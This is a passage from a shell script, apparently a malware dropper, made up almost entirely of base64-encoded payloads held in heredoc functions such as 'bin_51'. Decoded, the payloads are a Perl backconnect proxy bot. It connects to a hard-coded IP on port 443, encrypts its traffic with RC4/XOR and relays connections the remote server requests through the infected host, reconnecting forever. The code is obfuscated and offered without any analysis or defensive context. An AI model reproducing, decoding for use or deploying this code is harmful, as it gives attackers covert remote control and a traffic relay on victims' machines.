MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_51() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv 